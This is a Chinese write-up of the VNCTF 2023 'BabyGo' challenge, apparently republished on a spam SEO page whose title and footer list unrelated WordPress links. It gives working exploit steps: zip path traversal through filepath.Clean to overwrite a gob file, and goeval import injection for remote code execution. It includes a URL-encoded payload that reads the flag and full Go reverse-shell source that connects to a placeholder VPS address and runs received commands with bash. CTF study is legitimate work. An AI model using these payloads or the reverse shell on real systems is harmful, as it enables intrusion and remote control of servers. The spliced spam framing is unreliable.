wordpress建壁纸站h5制作网站开发
- 作者: 多梦笔记
- 时间: 2026年02月18日 21:21
当前位置: 首页 > news >正文
wordpress建壁纸站,h5制作网站开发,鄂州市城市建设档案馆网站,苏州外贸网站建设公司from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/ 比赛的时候在回学校的路上#xff0c;所以没有打#xff0c;听说质量挺高#xff0c;赛后做一下 象棋王子 一个普通的js游戏#xff0c;玩过关了就给flag#xff0c;所以flag肯定在前端源码里 这…from http://v2ish1yan.top/2023/02/19/%E6%AF%94%E8%B5%9Bwp/2023vnctf/ 比赛的时候在回学校的路上所以没有打听说质量挺高赛后做一下 象棋王子 一个普通的js游戏玩过关了就给flag所以flag肯定在前端源码里 这里就是弹flag的js只不过被混淆了直接复制到控制台执行就行 BabyGo 0x00 前言 这题在机场等同学的时候做了一下但是那个解压功能一直报错我还以为是我的问题结构第二天做一下发现是可以的 goeval代码注入filepath.Clean构造任意解压路径 0x01 源码分析 package mainimport (encoding/gobfmtgithub.com/PaulXu-cn/goevalgithub.com/duke-git/lancet/cryptorgithub.com/duke-git/lancet/fileutilgithub.com/duke-git/lancet/randomgithub.com/gin-contrib/sessionsgithub.com/gin-contrib/sessions/cookiegithub.com/gin-gonic/ginnet/httpospath/filepathstrings )type User struct {Name stringPath stringPower string }func main() {r : gin.Default()store : cookie.NewStore(random.RandBytes(16))r.Use(sessions.Sessions(session, store))r.LoadHTMLGlob(template/*)r.GET(/, func(c *gin.Context) {userDir : /tmp/ cryptor.Md5String(c.ClientIP()VNCTF2023GoGoGo~) /session : sessions.Default©session.Set(shallow, userDir)session.Save()fileutil.CreateDir(userDir)gobFile, _ : os.Create(userDir user.gob)user : User{Name: ctfer, Path: userDir, Power: low}encoder : gob.NewEncoder(gobFile)encoder.Encode(user)if fileutil.IsExist(userDir) fileutil.IsExist(userDiruser.gob) {c.HTML(200, index.html, gin.H{message: Your path: userDir})return}c.HTML(500, index.html, gin.H{message: failed to make user dir})})r.GET(/upload, func(c *gin.Context) {c.HTML(200, upload.html, gin.H{message: upload me!})})r.POST(/upload, func(c *gin.Context) {session : sessions.Default©if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userUploadDir : session.Get(shallow).(string) uploads/fileutil.CreateDir(userUploadDir)file, err : c.FormFile(file)if err ! nil {c.HTML(500, upload.html, gin.H{message: no file upload})return}ext : file.Filename[strings.LastIndex(file.Filename, .):]if ext .gob || ext .go {c.HTML(500, upload.html, gin.H{message: Hacker!})return}filename : userUploadDir file.Filenameif fileutil.IsExist(filename) {fileutil.RemoveFile(filename)}err c.SaveUploadedFile(file, filename)if err ! nil {c.HTML(500, upload.html, gin.H{message: failed to save file})return}c.HTML(200, upload.html, gin.H{message: file saved to filename})})r.GET(/unzip, func(c *gin.Context) {session : sessions.Default©if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userUploadDir : session.Get(shallow).(string) uploads/files, _ : fileutil.ListFileNames(userUploadDir)destPath : filepath.Clean(userUploadDir c.Query(path))for _, file : range files {if fileutil.MiMeType(userUploadDirfile) application/zip {err : fileutil.UnZip(userUploadDirfile, destPath)if err ! nil {c.HTML(200, zip.html, gin.H{message: failed to unzip file})return}fileutil.RemoveFile(userUploadDir file)}}c.HTML(200, zip.html, gin.H{message: success unzip})})r.GET(/backdoor, func(c *gin.Context) {session : sessions.Default©if session.Get(shallow) nil {c.Redirect(http.StatusFound, /)}userDir : session.Get(shallow).(string)if fileutil.IsExist(userDir user.gob) {file, _ : os.Open(userDir user.gob)decoder : gob.NewDecoder(file)var ctfer Userdecoder.Decode(ctfer)if ctfer.Power admin {eval, err : goeval.Eval(, fmt.Println(\Good), c.DefaultQuery(pkg, fmt))if err ! nil {fmt.Println(err)}c.HTML(200, backdoor.html, gin.H{message: string(eval)})return} else {c.HTML(200, backdoor.html, gin.H{message: low power})return}} else {c.HTML(500, backdoor.html, gin.H{message: no such user gob})return}})r.Run(:80) }总体来说不是太难理解 /路由生成一个userDir并保存在Session里后面的部分都会从Session取这个的值进行操作 并且还会创建一个user.gob文件将User信息保存在里面 /upload路由将文件上传到userDiruploads/目录并且会检测文件后缀 /unzip路由会对userDiruploads/目录里的zip文件进行解压且目的路径可控接受GET传参的path的值 destPath : filepath.Clean(userUploadDir c.Query(path))然后来看看这个filepath.Clean是什么东西 Clean通过纯词法处理返回与path相当的最短路径名称。它反复应用以下规则直到不能再做进一步处理。 用一个元素替换多个Separator元素。 消除每个.路径名元素当前目录。 消除每个内部的…路径名称元素父目录和它前面的非…元素。 消除了将…放在根路径后面的情况‘/…’)也就是说假设Separator是’/在一个路径的开头用/“替换”/…。 返回的路径只有在代表根目录时才以斜线结尾例如Unix系统中的/或Windows系统中的C: 最后任何出现的斜线都被Separator替换。 如果这个过程的结果是一个空字符串Clean返回字符串.。 from https://pkg.go.dev/path/filepath#Clean 所以我们可以构造路径将文件解压到任何我们可以解压的地方 /backdoor路由会从userDir目录读取user.gob文件的内容并检测Power键的值是否为admin如果为True就执行 eval, err : goeval.Eval(, fmt.Println(\Good), c.DefaultQuery(pkg, fmt))并返回执行结果 所以可以在本地构造一个user.gob将Power的值改为admin并将其压缩然后上传并解压到userDir目标覆盖原来的user.gob这样就可以成功执行到goeval.Eval()了 而在goeval.Eval(, fmt.Println(\Good), c.DefaultQuery(pkg, fmt))里可以发现并没有可以直接执行任意代码的地方可控的只有第三个参数 goeval.Eval()的第三参数可以进行包的导入因为通过报错可以执行题目环境GO的src目录所以我最开始想的是在fmt包里导入一个函数Println这样在执行goeval.Eval()的时候就可以执行我们自己构造的代码。 但是我想少了如果直接将pkg传参为fmt的话因为在Println()被fmt包里的其他文件被定义过所以我这再定义一个就会报错 然后我就随手搜了一下goeval.Eval就发现了可以对goeval.Eval进行代码注入从而远程执行代码 根据这篇文件去看看goeval.Eval的源码 func Eval(defineCode string, code string, imports …string) (re []byte, err error) {var (tmp package main %s %s func main() { %s } importStr stringfullCode stringnewTmpDir tempDir dirSeparator RandString(8))if 0 len(imports) {importStr import (for _, item : range imports {if blankInd : strings.Index(item, ); -1 blankInd {importStr fmt.Sprintf(\n %s \%s\, item[:blankInd], item[blankInd1:])} else {importStr fmt.Sprintf(\n\%s\, item)}}importStr \n)}fullCode fmt.Sprintf(tmp, importStr, defineCode, code)var codeBytes []byte(fullCode)// 格式化输出的代码if formatCode, err : format.Source(codeBytes); nil err {// 格式化失败就还是用 content 吧codeBytes formatCode}// 创建目录if err os.Mkdir(newTmpDir, os.ModePerm); nil ! err {return}defer os.RemoveAll(newTmpDir)// 创建文件tmpFile, err : os.Create(newTmpDir dirSeparator main.go)if err ! nil {return re, err}defer os.Remove(tmpFile.Name())// 代码写入文件tmpFile.Write(codeBytes)tmpFile.Close()// 运行代码cmd : exec.Command(go, run, tmpFile.Name())res, err : cmd.CombinedOutput()return res, err }可以看出来Eval是将代码写入一个临时文件然后运行再返回运行的结果而且是以拼接的方式来写入代码 所以可以进行代码注入用\t替代空格同时由于他执行的是main内的代码而且这个是写死的所以得将要执行的代码写入init()里这个函数会在main()前执行然后使用var来闭合最后面的) init函数特性 1.init函数可以在所有程序执行开始前被调用并且每个包下可以有多个init函数 2.init函数先于main函数自动执行 3.每个包中可以有多个init函数每个包中的源文件中也可以有多个init函数 4.init函数没有输入参数、返回值也未声明所以无法引用 5.不同包的init函数按照包导入的依赖关系决定执行顺序 6.无论包被导入多少次init函数只会被调用一次也就是只执行一次 7.init函数在代码中不能被显示的调用不能被引用赋值给函数变量否则会出现编译错误 8.导入包不要出现循环依赖这样会导致程序编译失败 9.Go程序仅仅想要用一个package的init执行我们可以这样使用import _ “testxxxx”导入包的时候加上下划线就ok了 10.包级别的变量初始化、init函数执行这两个操作都是在同一个goroutine中调用的按顺序调用一次一个包 11.init函数不应该依赖任何在main函数里创建的变量因为init函数的执行是在main函数之前的 12.在init函数中也可以启动goroutine也就是在初始化的同时启动新的goroutine这并不会影响初始化顺序 13.复杂逻辑不建议使用init函数会增加代码的复杂性可读性也会下降 14.一个源文件下可以有多个init函数代码比较长时可以考虑分多个init函数 15.编程时不要依赖init的顺序 pkg : os/exec\n\fmt\n)\n\nfunc\tinit(){\ncmd:exec.Command(\ls)\nout,:cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar(\na\1 goeval.Eval(, fmt.Println(\Good), pkg)就会执行 package mainimport ( os/exec fmt )func init(){ cmd:exec.Command(ls) out,:cmd.CombinedOutput() fmt.Println(string(out)) } var( a1 )func main() { fmt.Println(Good) }0x02 题解 方法一 代码注入 先在本地创建一个user.gob文件就跟源码里的方式一样建一个再压缩 然后上传文件再解压缩文件 解压缩的url为 /unzip?path../../../../tmp/49c69cef49dc4b3be71e988a20149ca7然后访问/backdoor路由进行代码注入远程执行命令 payload /backdoor?pkgos%2Fexec%22%0A%22fmt%22%0A%29%0A%0Afunc%09init%28%29%7B%0Acmd%3A%3Dexec.Command%28%22cat%22%2C%22%2Fffflllaaaggg%22%29%0Aout%2C%3A%3Dcmd.CombinedOutput%28%29%0Afmt.Println%28string%28out%29%29%0A%7D%0Avar%28%0Aa%3D%221方法二 使用别名执行自己的包 这是我在写wp的时候发现的另一个方法 看一下Eval对第三个参数的区别处理 for _, item : range imports {if blankInd : strings.Index(item, ); -1 blankInd {importStr fmt.Sprintf(\n %s \%s\, item[:blankInd], item[blankInd1:])} else {importStr fmt.Sprintf(\n\%s\, item)} }eg: goeval.Eval(, fmt.Println(\Good), fmt os/exec)就会变成 package mainimport (fmt os/exec )func main() { fmt.Println(Good) }相当于给导入的包设置一个别名,所以可以将我们自己的包设置别名为fmt从而执行任意代码 自己建立的包 PrintLn.go package v2iimport (fmtos/exec ) func Println(a string){acmd:exec.Command(ls, /)out,:cmd.CombinedOutput()fmt.Println(string(out)) }将文件压缩然后上传解压到/usr/local/go/src/v2i 路径在报错里看到 /unzip?path../../../../usr/local/go/src/v2i然后在/backdoor路由 /backdoor?pkgfmt v2i这样就执行了我们的代码但是有点麻烦得不断上传解压缩 但也可以试试反弹shell如果要反弹shell的话自己建的包就得是【从网上抄的代码XD】 package v2i import (ionetio/ioutillogos/exec )var (cmd stringline string )func Println(a string) {_aaddr : vpsip:9999 //远程连接主机名conn,err : net.Dial(tcp,addr) //拨号操作用于连接服务端需要指定协议。if err ! nil {log.Fatal(err)}buf : make([]byte,10240) //定义一个切片的长度是10240。for {n,err : conn.Read(buf) //接受的命令if err ! nil err ! io.EOF { //io.EOF在网络编程中表示对端把链接关闭了。log.Fatal(err)}cmd_str : string(buf[:n])cmd : exec.Command(/bin/bash,-c,cmd_str) //命令执行stdout, err : cmd.StdoutPipe()if err ! nil {log.Fatal(err)}defer stdout.Close()if err : cmd.Start(); err ! nil {log.Fatal(err)}opBytes, err : ioutil.ReadAll(stdout)if err ! nil {log.Fatal(err)}conn.Write([]byte(opBytes)) //返回执行结果} }然后用相同的方式执行就可以在vps上获得shell 0x03 参考文章 goeval代码注入导致远程代码执行(2022虎符Final)
相关文章
-
WordPress简单百度站长插件做网站用的什么编程语言
WordPress简单百度站长插件做网站用的什么编程语言
- 站长
- 2026年02月18日
-
wordpress加菜单杭州seo网络推广
wordpress加菜单杭州seo网络推广
- 站长
- 2026年02月18日
-
wordpress获取文章标签信息流优化师怎么入行
wordpress获取文章标签信息流优化师怎么入行
- 站长
- 2026年02月18日
-
wordpress建立手机网站wordpress怎么适应手机端
wordpress建立手机网站wordpress怎么适应手机端
- 站长
- 2026年02月18日
-
wordpress建哪些网站c2c的网站名称和网址
wordpress建哪些网站c2c的网站名称和网址
- 站长
- 2026年02月18日
-
wordpress建哪些网站广告制作合同模板免费
wordpress建哪些网站广告制作合同模板免费
- 站长
- 2026年02月18日
